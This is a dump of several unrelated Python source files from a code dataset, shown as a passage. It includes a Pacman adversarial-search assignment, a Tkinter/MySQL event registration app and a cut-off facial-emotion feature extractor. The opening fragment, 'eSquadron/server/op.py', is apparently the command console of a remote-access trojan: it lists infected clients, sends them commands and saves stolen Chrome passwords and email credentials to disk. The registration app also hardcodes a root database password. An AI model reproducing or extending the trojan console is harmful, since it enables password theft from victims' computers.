self.getTarget(console_input)[0]\n client.send('start'.encode())\n print(client.recv(1024).decode())\n\n elif 'restart' in console_input:\n client = self.getTarget(console_input)[0]\n client.send('restart'.encode())\n print(client.recv(1024).decode())\n\n else:\n print('Error, not a valid command')\n\n def getTarget(self, console_input):\n target = console_input.split(' ')[-1]\n target = int(target)\n client = self.all_connections[target]\n address = self.all_addresses[target]\n infos = [client, address]\n return infos\n\n def clientsList(self):\n i = 0\n print('---------MAIN RIFLES----------')\n for client in self.all_addresses:\n print('[' + str(i) + '] ' + client)\n i = i + 1\n print('\\n')\n\n def connectedToClient(self, client, address):\n print('Connected to ' + address)\n while True:\n try:\n main_input = input('eSquadron(connected): ')\n if main_input == 'exit':\n break\n\n elif main_input == 'chromesend':\n client.send(main_input.encode())\n with open('received\\\\chromepasswords.txt', 'a+') as f:\n f.write(client.recv(1024).decode())\n print('passwords written to the received directory')\n\n elif 'email' in main_input:\n client.send(main_input.encode())\n print(client.recv(1024).decode())\n email_cred = input('Enter: ')\n client.send(email_cred.encode())\n print(client.recv(1024).decode())\n\n else:\n client.send(main_input.encode())\n print(client.recv(1024).decode())\n\n except OSError:\n print('Error: client disconnected')\n break\n\n\nif __name__ == \"__main__\":\n ThreadedServer().listen()\n","sub_path":"eSquadron/server/op.py","file_name":"op.py","file_ext":"py","file_size_in_byte":4865,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"643954728","text":"# multiAgents.py\n# --------------\n# Licensing Information: You are free to use or extend these projects for\n# educational purposes provided that (1) you do not distribute or publish\n# solutions, (2) you retain this notice, and (3) you provide clear\n# attribution to UC Berkeley, including a link to http://ai.berkeley.edu.\n# \n# Attribution Information: The Pacman AI projects were developed at UC Berkeley.\n# The core projects and autograders were primarily created by John DeNero\n# (denero@cs.berkeley.edu) and Dan Klein (klein@cs.berkeley.edu).\n# Student side autograding was added by Brad Miller, Nick Hay, and\n# Pieter Abbeel (pabbeel@cs.berkeley.edu).\nimport math\n\nfrom util import manhattanDistance\nfrom game import Directions\nimport random, util, math, collections\n\nfrom game import Agent\n\n\nclass ReflexAgent(Agent):\n \"\"\"\n A reflex agent chooses an action at each choice point by examining\n its alternatives via a state evaluation function.\n\n The code below is provided as a guide. You are welcome to change\n it in any way you see fit, so long as you don't touch our method\n headers.\n \"\"\"\n\n def getAction(self, gameState):\n \"\"\"\n You do not need to change this method, but you're welcome to.\n\n getAction chooses among the best options according to the evaluation function.\n\n Just like in the previous project, getAction takes a GameState and returns\n some Directions.X for some X in the set {NORTH, SOUTH, WEST, EAST, STOP}\n \"\"\"\n # Collect legal moves and successor states\n legalMoves = gameState.getLegalActions()\n\n # Choose one of the best actions\n scores = [self.evaluationFunction(gameState, action) for action in legalMoves]\n bestScore = max(scores)\n bestIndices = [index for index in range(len(scores)) if scores[index] == bestScore]\n chosenIndex = random.choice(bestIndices) # Pick randomly among the best\n\n \"Add more of your code here if you want to\"\n\n return legalMoves[chosenIndex]\n\n\n \"\"\"\n This method provides the method for evaluating a game state after a specific action. \n Here it always returns the worst possible outcome (negative infinity) if the action is 'stop' or if \n you are in the same position as a ghost (where the ghost is not scared of you). \n For the remaining possibilities the negative manhattan distance of the nearest food is returned. So \n the closer the food, the better.\n \"\"\"\n def evaluationFunction(self, currentGameState, action):\n # you'd never receive an advantage, no chance at receiving pallets etc.\n if action == 'Stop':\n return float(\"-inf\")\n\n successorGameState = currentGameState.generatePacmanSuccessor(action)\n newPos = successorGameState.getPacmanPosition()\n newGhostStates = successorGameState.getGhostStates()\n\n curfood = currentGameState.getFood()\n foodList = curfood.asList()\n\n for state in newGhostStates:\n if state.getPosition() == newPos and (state.scaredTimer == 0):\n return float(\"-inf\")\n\n foodDistance = float(\"-inf\")\n for foodPos in foodList:\n foodDistance = max(foodDistance, -manhattanDistance(newPos, foodPos))\n\n return foodDistance\n\n\ndef scoreEvaluationFunction(currentGameState):\n \"\"\"\n This default evaluation function just returns the score of the state.\n The score is the same one displayed in the Pacman GUI.\n\n This evaluation function is meant for use with adversarial search agents\n (not reflex agents).\n \"\"\"\n return currentGameState.getScore()\n\n\nclass MultiAgentSearchAgent(Agent):\n \"\"\"\n This class provides some common elements to all of your\n multi-agent searchers. Any methods defined here will be available\n to the MinimaxPacmanAgent, AlphaBetaPacmanAgent & ExpectimaxPacmanAgent.\n\n You *do not* need to make any changes here, but you can if you want to\n add functionality to all your adversarial search agents. Please do not\n remove anything, however.\n\n Note: this is an abstract class: one that should not be instantiated. It's\n only partially specified, and designed to be extended. Agent (game.py)\n is another abstract class.\n \"\"\"\n\n def __init__(self, evalFn='scoreEvaluationFunction', depth='2'):\n self.index = 0 # Pacman is always agent index 0\n self.evaluationFunction = util.lookup(evalFn, globals())\n self.depth = int(depth)\n\n\nclass MinimaxAgent(MultiAgentSearchAgent):\n \"\"\"\n Your minimax agent (question 2)\n \"\"\"\n\n def getAction(self, gameState):\n totalAgents = gameState.getNumAgents()\n\n def isOver(gameState, depth):\n return depth == self.depth or gameState.isLose() or gameState.isWin()\n\n def maxAgent(gameState, index, depth):\n if isOver(gameState, depth):\n return self.evaluationFunction(gameState)\n\n score = -math.inf\n for action in gameState.getLegalActions(index):\n gs = gameState.generateSuccessor(index, action)\n\n follow = 0\n # only if pacman itself plays the game\n if index + 1 == totalAgents:\n follow = maxAgent(gs, 0, depth + 1)\n else:\n follow = minAgent(gs, index + 1, depth)\n\n if follow > score:\n score = follow\n\n return score\n\n def minAgent(gameState, index, depth):\n if isOver(gameState, depth):\n return self.evaluationFunction(gameState)\n\n score = math.inf\n for action in gameState.getLegalActions(index):\n gs = gameState.generateSuccessor(index, action)\n\n follow = 0\n if index + 1 == totalAgents:\n follow = maxAgent(gs, 0, depth + 1)\n else:\n follow = minAgent(gs, index + 1, depth)\n\n if follow < score:\n score = follow\n\n return score\n\n bestAction = None\n\n # NOTE: self.index is always, ALWAYS 0.\n # The following code will reflect this.\n score = -math.inf\n for action in gameState.getLegalActions(self.index):\n # GameState, if this specific action gets taken\n gs = gameState.generateSuccessor(self.index, action)\n\n follow = minAgent(gameState=gs, index=self.index + 1, depth=0)\n\n if follow > score:\n score = follow\n bestAction = action\n return bestAction\n\n\n\nclass AlphaBetaAgent(MultiAgentSearchAgent):\n \"\"\"\n Your minimax agent with alpha-beta pruning (question 3)\n \"\"\"\n\n def getAction(self, gameState):\n totalAgents = gameState.getNumAgents()\n\n def isOver(gameState, depth):\n return depth >= self.depth or gameState.isLose() or gameState.isWin()\n\n def maxAgent(gameState, index, depth, alpha, beta):\n if isOver(gameState, depth):\n return self.evaluationFunction(gameState)\n\n score = -math.inf\n for action in gameState.getLegalActions(index):\n gs = gameState.generateSuccessor(index, action)\n\n follow = 0\n # only if pacman itself plays the game\n if index + 1 == totalAgents:\n follow = maxAgent(gs, 0, depth + 1, alpha, beta)\n else:\n follow = minAgent(gs, index + 1, depth, alpha, beta)\n\n score = max(score, follow)\n alpha = max(alpha, follow)\n\n if follow > beta:\n return score\n\n return score\n\n def minAgent(gameState, index, depth, alpha, beta):\n if isOver(gameState, depth):\n return self.evaluationFunction(gameState)\n\n score = math.inf\n for action in gameState.getLegalActions(index):\n gs = gameState.generateSuccessor(index, action)\n\n follow = 0\n if index + 1 == totalAgents:\n follow = maxAgent(gs, 0, depth + 1, alpha, beta)\n else:\n follow = minAgent(gs, index + 1, depth, alpha, beta)\n\n score = min(score, follow)\n beta = min(beta, follow)\n\n if follow < alpha:\n return score\n\n return score\n\n\n bestAction = None\n\n # NOTE: self.index is always, ALWAYS 0.\n # The following code will reflect this,\n # therefore paxcman (a max agent) will start.\n\n # (personal note) max sets alpha, prunes on beta\n # (personal note) min sets beta, prunes on alpha\n score = -math.inf\n\n # Beta won't be set in the first node\n alpha = -math.inf\n for action in gameState.getLegalActions(self.index):\n # GameState, if this specific action gets taken\n gs = gameState.generateSuccessor(self.index, action)\n\n follow = minAgent(gameState=gs, index=self.index + 1, depth=0, alpha = alpha, beta = math.inf)\n alpha = max(alpha, follow)\n\n if follow > score:\n score = follow\n bestAction = action\n return bestAction\n\n\n\nclass ExpectimaxAgent(MultiAgentSearchAgent):\n \"\"\"\n Your expectimax agent (question 4)\n \"\"\"\n\n def getAction(self, gameState):\n \"\"\"\n Returns the expectimax action using self.depth and self.evaluationFunction\n\n All ghosts should be modeled as choosing uniformly at random from their\n legal moves.\n \"\"\"\n \"*** YOUR CODE HERE ***\"\n\n totalAgents = gameState.getNumAgents()\n\n #onlyforPacman\n def maxAgent(gameState, depth):\n if gameState.isWin() or gameState.isLose() or depth + 1 == self.depth:\n return self.evaluationFunction(gameState)\n\n maxValue = float(\"-inf\")\n for action in gameState.getLegalActions(0):\n successorState = gameState.generateSuccessor(0, action)\n maxValue = max(maxValue, expectiAgent(successorState, depth + 1, 1))\n return maxValue\n\n # For all ghosts.\n def expectiAgent(gameState, depth, index):\n if gameState.isWin() or gameState.isLose(): # Terminal Test\n return self.evaluationFunction(gameState)\n\n actions = gameState.getLegalActions(index)\n actionCount = len(actions)\n\n expectiValue = 0\n for action in actions:\n successor = gameState.generateSuccessor(index, action)\n if index + 1 == totalAgents:\n tempExpecti = maxAgent(successor, depth)\n else:\n tempExpecti = expectiAgent(successor, depth, index + 1)\n expectiValue += tempExpecti\n\n if actionCount == 0:\n return 0\n return expectiValue / actionCount\n\n score = float(\"-inf\")\n for action in gameState.getLegalActions(0):\n successorState = gameState.generateSuccessor(0, action)\n follow = expectiAgent(successorState, 0, 1)\n if follow > score:\n score = follow\n bestAction = action\n return bestAction\n\n\ndef betterEvaluationFunction(currentGameState):\n \"\"\"\n Your extreme ghost-hunting, pellet-nabbing, food-gobbling, unstoppable\n evaluation function (question 5).\n\n DESCRIPTION: \n \"\"\"\n \"*** YOUR CODE HERE ***\"\n util.raiseNotDefined()\n\n\n# Abbreviation\nbetter = betterEvaluationFunction\n","sub_path":"multiAgents.py","file_name":"multiAgents.py","file_ext":"py","file_size_in_byte":11683,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"617061096","text":"\r\n\r\nfrom tkinter import *\r\nfrom tkinter import ttk\r\nimport tkinter.messagebox\r\nimport mysql.connector\r\ndb = mysql.connector.connect(host=\"localhost\",user=\"root\",passwd=\"bvcoe\")\r\n\r\nclass Application:\r\n\tdef __init__(self,master):\r\n\t\tself.master = master\r\n\t\tself.master.title(\"Event Management System\")\r\n\t\tself.master.geometry(\"1400x750+0+0\")\r\n\t\tself.master.configure(bg=\"#172B5A\")\r\n\t\t#Variables\r\n\t\tnm = StringVar()\r\n\t\tcontact = StringVar()\r\n\t\tmail = StringVar()\r\n\t\teno = StringVar()\r\n\t\trno = StringVar()\r\n\t\tdept = StringVar()\r\n\t\tyr = StringVar()\r\n\t\tcat = StringVar()\r\n\r\n\t\t#Functions\r\n\t\tdef ireset():\r\n\t\t\tself.dataDisplay.delete(\"1.0\",END)\r\n\t\t\t\r\n\r\n\t\tdef iclear():\r\n\t\t\tnm.set(\"\")\r\n\t\t\tcontact.set(\"\")\r\n\t\t\tmail.set(\"\")\r\n\t\t\trno.set(\"\")\r\n\r\n\t\t\r\n\r\n\t\tdef iExit():\r\n\t\t\tiExit = tkinter.messagebox.askyesno(\"Event Management System\",\"Confirm if you want to exit\")\r\n\t\t\tif iExit > 0:\r\n\t\t\t\troot.destroy()\r\n\t\t\t\treturn\r\n\r\n\t\tdef iDisplay():\r\n\t\t\tself.dataDisplay.insert(END,\"\\n\\tSTUDENT DETAIL\\t\\n\\nName : \"+nm.get()+\"\\nContact No : \"+contact.get()\r\n\t\t\t\t+\"\\nGmaiil Id : \"+mail.get()+\"\\nRoll No : \"+rno.get()+\"\\nDepartment : \"+dept.get()+\"\\nYear : \"+yr.get()+\"\\nEvent Category : \"+\r\n\t\t\t\tcat.get()+\"\\n\")\r\n\r\n\t\tdef iSubmit():\r\n\t\r\n\t\t\tmycursor = db.cursor()\r\n\t\t\tsql = \"create database if not exists CESA\"\r\n\t\t\tmycursor.execute(sql)\r\n\t\t\tsql = \"use CESA\"\r\n\t\t\tmycursor.execute(sql)\r\n\t\t\tsql = \"create table if not exists ENTRIES1 (Name varchar(20),Contact varchar(10),Gmail varchar(35),RollNo varchar(20),Department varchar(6),Year varchar(4),Category varchar(20))\"\r\n\t\t\tmycursor.execute(sql)\r\n\t\t\tmycursor.execute(\"insert into ENTRIES1 (Name,Contact,Gmail,RollNo,Department,Year,Category)values(%s,%s,%s,%s,%s,%s,%s)\",(nm.get(),contact.get(),mail.get(),rno.get(),dept.get(),yr.get(),cat.get(),))\r\n\t\t\tdb.commit()\r\n\r\n\t\tdef aReset():\r\n\t\t\tself.analysisDisplay.delete(\"1.0\",END)\r\n\r\n\t\tdef aExit():\r\n\t\t\tself.master1.destroy()\r\n\t\t\treturn\t\t\t\r\n\t\tdef aDAnalysis():\r\n\t\t\tself.analysisDisplay.insert(END,\"\\n\\t\\t\\tDEPARTMENTAL ANALYSIS\\t\\t\\t\\n\")\r\n\t\t\tc = db.cursor()\r\n\t\t\tc.execute(\"use CESA\")\r\n\t\t\tsql = \"select Name,Contact from ENTRIES1 where Department='C.M'\"\r\n\t\t\tc.execute(sql)\r\n\t\t\tdata = c.fetchall()\r\n\t\t\tccount=0\r\n\t\t\tfor i in data:\r\n\t\t\t\tccount=ccount+1\r\n\t\t\t\r\n\t\t\tsql = \"select Name,Contact from ENTRIES1 where Department='I.T'\"\r\n\t\t\tc.execute(sql)\r\n\t\t\tdata = c.fetchall()\r\n\t\t\ticount=0\r\n\t\t\tfor i in data:\r\n\t\t\t\ticount=icount+1\r\n\t\t\t\r\n\t\t\tc = db.cursor()\r\n\t\t\tc.execute(\"use CESA\")\r\n\t\t\tsql = \"select Name,Contact from ENTRIES1 where Department='E.X.T.C'\"\r\n\t\t\tc.execute(sql)\r\n\t\t\tdata = c.fetchall()\r\n\t\t\tecount=0\r\n\t\t\tfor i in data:\r\n\t\t\t\tecount=ecount+1\r\n\t\t\t\r\n\t\t\tc = db.cursor()\r\n\t\t\tc.execute(\"use CESA\")\r\n\t\t\tsql = \"select Name,Contact from ENTRIES1 where Department='INSTRU'\"\r\n\t\t\tc.execute(sql)\r\n\t\t\tdata = c.fetchall()\r\n\t\t\tincount=0\r\n\t\t\tfor i in data:\r\n\t\t\t\tincount=incount+1\r\n\r\n\t\t\tc = db.cursor()\r\n\t\t\tc.execute(\"use CESA\")\r\n\t\t\tsql = \"select Name,Contact from ENTRIES1 where Department='CHEM'\"\r\n\t\t\tc.execute(sql)\r\n\t\t\tdata = c.fetchall()\r\n\t\t\tchcount=0\r\n\t\t\tfor i in data:\r\n\t\t\t\tchcount=chcount+1\r\n\t\t\t\r\n\t\t\tc = db.cursor()\r\n\t\t\tc.execute(\"use CESA\")\r\n\t\t\tsql = \"select Name,Contact from ENTRIES1 where Department='MECH'\"\r\n\t\t\tc.execute(sql)\r\n\t\t\tdata = c.fetchall()\r\n\t\t\tmcount=0\r\n\t\t\tfor i in data:\r\n\t\t\t\tmcount=mcount+1\r\n\r\n\r\n\t\t\tself.analysisDisplay.insert(END,\"\\nTotal Entries From \\nComputer Department = \"+str(ccount)+\r\n\t\t\t\t\"\\nIT Department = \"+str(icount)+\"\\nEXTC Department = \"+str(ecount)+\"\\nInstrumentaiton Department = \"+str(incount)\r\n\t\t\t\t+\"\\nChemcial Department = \"+str(chcount)+\"\\nMechanical Department = \"+str(mcount)+\"\\n\")\r\n\r\n\r\n\t\tdef aYAnalysis():\r\n\t\t\tself.analysisDisplay.insert(END,\"\\n\\t\\t\\tYEAR WISE ANALYSIS\\t\\t\\t\\n\")\r\n\t\t\tc = db.cursor()\r\n\t\t\tc.execute(\"use CESA\")\r\n\t\t\tsql = \"select Name,Contact from ENTRIES1 where Year='F.E'\"\r\n\t\t\tc.execute(sql)\r\n\t\t\tdata = c.fetchall()\r\n\t\t\tfcount=0\r\n\t\t\tfor i in data:\r\n\t\t\t\tfcount=fcount+1\r\n\t\t\t\r\n\t\t\tsql = \"select Name,Contact from ENTRIES1 where Year='S.E'\"\r\n\t\t\tc.execute(sql)\r\n\t\t\tdata = c.fetchall()\r\n\t\t\tscount=0\r\n\t\t\tfor i in data:\r\n\t\t\t\tscount=scount+1\r\n\t\t\t\r\n\t\t\tc = db.cursor()\r\n\t\t\tc.execute(\"use CESA\")\r\n\t\t\tsql = \"select Name,Contact from ENTRIES1 where Year='T.E'\"\r\n\t\t\tc.execute(sql)\r\n\t\t\tdata = c.fetchall()\r\n\t\t\ttcount=0\r\n\t\t\tfor i in data:\r\n\t\t\t\ttcount=tcount+1\r\n\t\t\t\r\n\t\t\tc = db.cursor()\r\n\t\t\tc.execute(\"use CESA\")\r\n\t\t\tsql = \"select Name,Contact from ENTRIES1 where Year='B.E'\"\r\n\t\t\tc.execute(sql)\r\n\t\t\tdata = c.fetchall()\r\n\t\t\tbcount=0\r\n\t\t\tfor i in data:\r\n\t\t\t\tbcount=bcount+1\r\n\r\n\t\r\n\t\t\tself.analysisDisplay.insert(END,\"\\nTotal Entries From \\nFirst Year = \"+str(fcount)+\r\n\t\t\t\t\"\\nSecond Year = \"+str(scount)+\"\\nThird Year = \"+str(tcount)+\"\\nFinal Year = \"+str(bcount)+\"\\n\")\r\n\r\n\t\tdef aCatAnalysis():\r\n\t\t\tself.analysisDisplay.insert(END,\"\\n\\t\\t\\tEvent WISE ANALYSIS\\t\\t\\t\\n\")\r\n\t\t\tc = db.cursor()\r\n\t\t\tc.execute(\"use CESA\")\r\n\t\t\tsql = \"select Name,Contact from ENTRIES1 where Category='Technical'\"\r\n\t\t\tc.execute(sql)\r\n\t\t\tdata = c.fetchall()\r\n\t\t\ttcount=0\r\n\t\t\tfor i in data:\r\n\t\t\t\ttcount=tcount+1\r\n\t\t\t\r\n\t\t\tsql = \"select Name,Contact from ENTRIES1 where Category='Gaming'\"\r\n\t\t\tc.execute(sql)\r\n\t\t\tdata = c.fetchall()\r\n\t\t\tgcount=0\r\n\t\t\tfor i in data:\r\n\t\t\t\tgcount=gcount+1\r\n\t\t\t\r\n\t\t\tc = db.cursor()\r\n\t\t\tc.execute(\"use CESA\")\r\n\t\t\tsql = \"select Name,Contact from ENTRIES1 where Category='Fun Events'\"\r\n\t\t\tc.execute(sql)\r\n\t\t\tdata = c.fetchall()\r\n\t\t\tfcount=0\r\n\t\t\tfor i in data:\r\n\t\t\t\tfcount=fcount+1\r\n\r\n\t\t\tself.analysisDisplay.insert(END,\"\\nTotal Entries For\\nTechnical = \"+str(tcount)+\r\n\t\t\t\t\"\\nGaming = \"+str(gcount)+\"\\nFun Events = \"+str(fcount)+\"\\n\")\r\n\r\n\r\n\r\n\r\n\t\tdef iShow():\r\n\t\t\tself.master1 = Toplevel(master)\r\n\t\t\tself.master1.title(\"Analysis of Entries\")\r\n\t\t\tself.master1.geometry(\"750x750\")\r\n\t\t\tself.LAFrame = Frame(self.master1,width=370,height=750,bd=3,relief=RAISED,bg=\"blue\")\r\n\t\t\tself.LAFrame.pack(side=LEFT)\r\n\t\t\tself.RAFrame = Frame(self.master1,width=370,height=750,bd=3,relief=RAISED,bg=\"white\")\r\n\t\t\tself.RAFrame.pack(side=RIGHT)\r\n\t\t\tself.analysisDisplay = Text(self.RAFrame,font=\"3ds 15\",bg=\"white\",fg=\"black\",width=370,height=750)\r\n\t\t\tself.analysisDisplay.pack(side=RIGHT)\r\n\t\t\tself.Lanalysis = Label(self.LAFrame,text=\"Analysis Board\",font=\"3ds 30\",bg=\"#0035B4\",fg=\"white\").grid(row=0,column=1)\r\n\t\t\tself.DAnalysis = Button(self.LAFrame,font=\"3ds 18 bold\",text=\"DEPT ANALYSIS\",bg=\"black\",fg=\"white\",relief=RAISED,bd=3,width=20,command=aDAnalysis).grid(row=2,column=1)\r\n\t\t\tself.YRAnalysis = Button(self.LAFrame,font=\"3ds 18 bold\",text=\"YEAR ANALYSIS\",bg=\"black\",fg=\"white\",relief=RAISED,bd=3,width=20,command=aYAnalysis).grid(row=3,column=1)\r\n\t\t\tself.CATAnalysis = Button(self.LAFrame,font=\"3ds 18 bold\",text=\"CATEGORY ANALYSIS\",bg=\"black\",fg=\"white\",relief=RAISED,bd=3,width=20,command=aCatAnalysis).grid(row=4,column=1)\r\n\t\t\tself.RReset = Button(self.LAFrame,font=\"3ds 18 bold\",text=\"RESET\",bg=\"black\",fg=\"white\",relief=RAISED,bd=3,width=20,command=aReset).grid(row=5,column=1)\r\n\t\t\tself.RExit = Button(self.LAFrame,font=\"3ds 18 bold\",text=\"EXIT\",bg=\"black\",fg=\"white\",relief=RAISED,bd=3,width=20,command=aExit).grid(row=6,column=1)\r\n\r\n\r\n\t\t#Frames\r\n\t\tself.TopFrame = Frame(master,width=1400,bd=3,relief=RAISED)\r\n\t\tself.TopFrame.pack(side=TOP)\r\n\t\tself.LeftFrame = Frame(master,width=900,height=700,bd=3,relief=RIDGE,bg=\"#172B5A\")\r\n\t\tself.LeftFrame.place(x=0,y=82)\r\n\t\tself.RightFrame = Frame(master,width=500,height=700,bd=3,relief=SUNKEN,bg=\"WHITE\")\r\n\t\tself.RightFrame.place(x=900,y=82)\r\n\t\tself.BottomFrame = Frame(master,width=1400,height=200,bd=3,relief=RAISED,bg=\"#0035B4\")\r\n\t\tself.BottomFrame.place(x=0,y=600)\r\n\t\t#Heading\r\n\t\tself.Title = Label(self.TopFrame,text=\"TECHNOMENIA\",font=\"3ds 44 bold\",bg=\"#0035B4\",fg=\"white\",width=40)\r\n\t\tself.Title.grid(row=0,column=1)\r\n\t\t#Labels\r\n\t\tself.name = Label(self.LeftFrame,text=\"Name\",font=\"3ds 30\",bg=\"#172B5A\",fg=\"white\")\r\n\t\tself.name.grid(row=0,column=0,sticky=W)\r\n\t\tself.contactNo = Label(self.LeftFrame,text=\"Contact No\",font=\"3ds 30\",bg=\"#172B5A\",fg=\"white\")\r\n\t\tself.contactNo.grid(row=1,column=0,sticky=W)\r\n\t\tself.gmailId = Label(self.LeftFrame,text=\"Gmail\",font=\"3ds 30\",bg=\"#172B5A\",fg=\"white\")\r\n\t\tself.gmailId.grid(row=2,column=0,sticky=W)\r\n\t\tself.department = Label(self.LeftFrame,text=\"Department\",font=\"3ds 30\",bg=\"#172B5A\",fg=\"white\")\r\n\t\tself.department.grid(row=4,column=0,sticky=W)\r\n\t\tself.year = Label(self.LeftFrame,text=\"Year\",font=\"3ds 30\",bg=\"#172B5A\",fg=\"white\")\r\n\t\tself.year.grid(row=5,column=0,sticky=W)\r\n\t\tself.rollNo = Label(self.LeftFrame,text=\"Roll No\",font=\"3ds 30\",bg=\"#172B5A\",fg=\"white\")\r\n\t\tself.rollNo.grid(row=3,column=0,sticky=W)\r\n\t\tself.event = Label(self.LeftFrame,text=\"Event Category\",font=\"3ds 30\",bg=\"#172B5A\",fg=\"white\")\r\n\t\tself.event.grid(row=6,column=0,sticky=W)\r\n\t\t#Entry boxes\r\n\t\tself.ename = Entry(self.LeftFrame,font=\"3ds 15 bold\",width=30,bd=6,relief=FLAT,textvariable=nm)\r\n\t\tself.ename.grid(row=0,column=2)\r\n\t\tself.econtactNo = Entry(self.LeftFrame,font=\"3ds 15 bold\",width=30,bd=6,relief=FLAT,textvariable=contact)\r\n\t\tself.econtactNo.grid(row=1,column=2)\r\n\t\tself.egmailId = Entry(self.LeftFrame,font=\"3ds 15 bold\",width=30,bd=6,relief=FLAT,textvariable=mail)\r\n\t\tself.egmailId.grid(row=2,column=2)\r\n\t\t#Creating Drop down list\r\n\t\tself.edepartment = ttk.Combobox(self.LeftFrame,font=\"3ds 15 bold\",width=30,textvariable=dept)\r\n\t\tself.edepartment['value']=('',\"C.M\",\"I.T\",\"E.X.T.C\",\"INSTRU\",\"CHEM\",\"MECH\")\r\n\t\tself.edepartment.current(1)#setting default value to C.M\r\n\t\tself.edepartment.grid(row=4,column=2)\r\n\t\tself.eyear = ttk.Combobox(self.LeftFrame,font=\"3ds 15 bold\",width=30,textvariable=yr)\r\n\t\tself.eyear['value']=('',\"F.E\",\"S.E\",\"T.E\",\"B.E\")\r\n\t\tself.eyear.current(1)\r\n\t\tself.eyear.grid(row=5,column=2)\r\n\t\tself.erollNo = Entry(self.LeftFrame,font=\"3ds 15 bold\",width=30,bd=6,relief=FLAT,textvariable=rno)\r\n\t\tself.erollNo.grid(row=3,column=2)\r\n\t\tself.eevent = ttk.Combobox(self.LeftFrame,font=\"3ds 15 bold\",width=30,textvariable=cat)\r\n\t\tself.eevent['value']=('',\"Technical\",\"Gaming\",\"Fun Events\")\r\n\t\tself.eevent.current(1)\r\n\t\tself.eevent.grid(row=6,column=2)\r\n\t\t#Buttons\r\n\t\tself.submit = Button(self.LeftFrame,font=\"3ds 18 bold\",text=\"SUBMIT\",bg=\"black\",fg=\"white\",relief=RAISED,bd=3,width=20,command=iSubmit)\r\n\t\tself.submit.grid(row=9,column=2)\r\n\t\tself.display = Button(self.LeftFrame,font=\"3ds 18 bold\",text=\"DISPLAY DATA\",bg=\"black\",fg=\"white\",relief=RAISED,bd=3,width=20,command=iDisplay)\r\n\t\tself.display.grid(row=7,column=2)\r\n\t\tself.reset = Button(self.LeftFrame,font=\"3ds 18 bold\",text=\"CLEAR DATA\",bg=\"black\",fg=\"white\",relief=RAISED,bd=3,width=20,command=iclear)\r\n\t\tself.reset.grid(row=8,column=2)\r\n\t\tself.showAnalysis = Button(self.BottomFrame,font=\"3ds 18 bold\",text=\"SHOW ANALYSIS\",bg=\"black\",fg=\"white\",relief=RAISED,bd=3,width=30,command=iShow)\r\n\t\tself.showAnalysis.grid(row=1,column=0)\r\n\t\tself.resetAnalysis = Button(self.BottomFrame,font=\"3ds 18 bold\",text=\"RESET ANALYSIS\",bg=\"black\",fg=\"white\",relief=RAISED,bd=3,width=30,command=ireset)\r\n\t\tself.resetAnalysis.grid(row=1,column=2)\r\n\t\tself.exit = Button(self.BottomFrame,font=\"3ds 18 bold\",text=\"EXIT\",bg=\"black\",fg=\"white\",relief=RAISED,bd=3,width=30,command=iExit)\r\n\t\tself.exit.grid(row=1,column=4)\r\n\t\t#Text Boxes\r\n\t\tself.dataDisplay = Text(self.RightFrame,font=\"3ds 15\",bg=\"white\",fg=\"black\",width=500,height=700)\r\n\t\tself.dataDisplay.grid(row=0,column=0)\r\nroot = Tk()\r\nb = Application(root)\r\nroot.mainloop()\r\n\r\n\r\n","sub_path":"pop.py","file_name":"pop.py","file_ext":"py","file_size_in_byte":11246,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"376084477","text":"import cv2\nimport os\nfrom skimage.feature import hog\nfrom sklearn.svm import SVC\nimport numpy as np\nfrom sklearn.model_selection import cross_val_score, train_test_split, ShuffleSplit, StratifiedKFold\nfrom sklearn.metrics import accuracy_score, precision_score, recall_score, confusion_matrix\nimport matplotlib.pyplot as plt\nfrom sklearn.ensemble import RandomForestClassifier\nimport pickle\nfrom sklearn.preprocessing import StandardScaler, MinMaxScaler\nimport pandas as pd\n\n# Use four pre-trained classifiers for face detection\nface_detector_1 = cv2.CascadeClassifier('./haarcascades/haarcascade_frontalface_default.xml')\nface_detector_2 = cv2.CascadeClassifier('./haarcascades/haarcascade_frontalface_alt.xml')\nface_detector_3 = cv2.CascadeClassifier('./haarcascades/haarcascade_frontalface_alt2.xml')\nface_detector_4 = cv2.CascadeClassifier('./haarcascades/haarcascade_frontalface_alt_tree.xml')\n\n\nemotion_labels = {'Neutral': 0,\n 'Anger': 1,\n 'Surprise': 2,\n 'Sadness': 3,\n 'Happy': 4}\n\n# add your photos to the folder and set your netid\nNetID = 'bl44'\n\n\ndef feature_extraction(img, orientations=16, pixels_per_cell=(16, 16), cells_per_block=(1, 1)):\n \"\"\" The function does the following tasks to extract emotion-related features:\n (1) Face detection (2) Cropping the face in the image (3) Resizing the image and (4) Extracting HOG vector.\n\n Args:\n img: The raw image.\n orientations: The number of bins for different orientations.\n pixels_per_cell: The size of each cell.\n cells_per_block: The size of the block for block normalization.\n\n Returns:\n features: A HOG vector is returned if face is detected. Otherwise 'None' value is returned.\n \"\"\"\n \n\n # If the image is a color image, convert it into gray-scale image\n if img.shape[2] == 3:\n img = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n\n\n face_detection_1 = face_detector_1.detectMultiScale(\n img, scaleFactor=1.1, minNeighbors=10, minSize=(5, 5), flags=cv2.CASCADE_SCALE_IMAGE)\n face_detection_2 = face_detector_2.detectMultiScale(\n img, scaleFactor=1.1, minNeighbors=10, minSize=(5, 5), flags=cv2.CASCADE_SCALE_IMAGE)\n face_detection_3 = face_detector_3.detectMultiScale(\n img, scaleFactor=1.1, minNeighbors=10, minSize=(5, 5), flags=cv2.CASCADE_SCALE_IMAGE)\n face_detection_4 = face_detector_4.detectMultiScale(\n img, scaleFactor=1.1, minNeighbors=10, minSize=(5, 5), flags=cv2.CASCADE_SCALE_IMAGE)\n\n\n # Go over the results of face detection. Stop at the first detected face,\n face_features = None\n if len(face_detection_1) == 1:\n face_features = face_detection_1\n elif len(face_detection_2) == 1:\n face_features = face_detection_2\n elif len(face_detection_3) == 1:\n face_features = face_detection_3\n elif len(face_detection_4) == 1:\n face_features = face_detection_4\n else:\n print(\"No face detected!\")\n # cv2.imshow('No face detected', img)\n # cv2.waitKey(0)\n\n\n if face_features is not None:\n global count\n for x, y, w, h in face_features:\n # Get the coordinates and the size of the rectangle containing face\n img = img[y:y+h, x:x+w]\n \n # Resize all the face images so that all the images have the same size\n img = cv2.resize(img, (350, 350))\n # Uncomment the following two lines to visualize the cropped face image\n # cv2.imshow(\"Cropped Face\", img)\n # cv2.waitKey(0)\n \n # Extract HOG descriptor\n 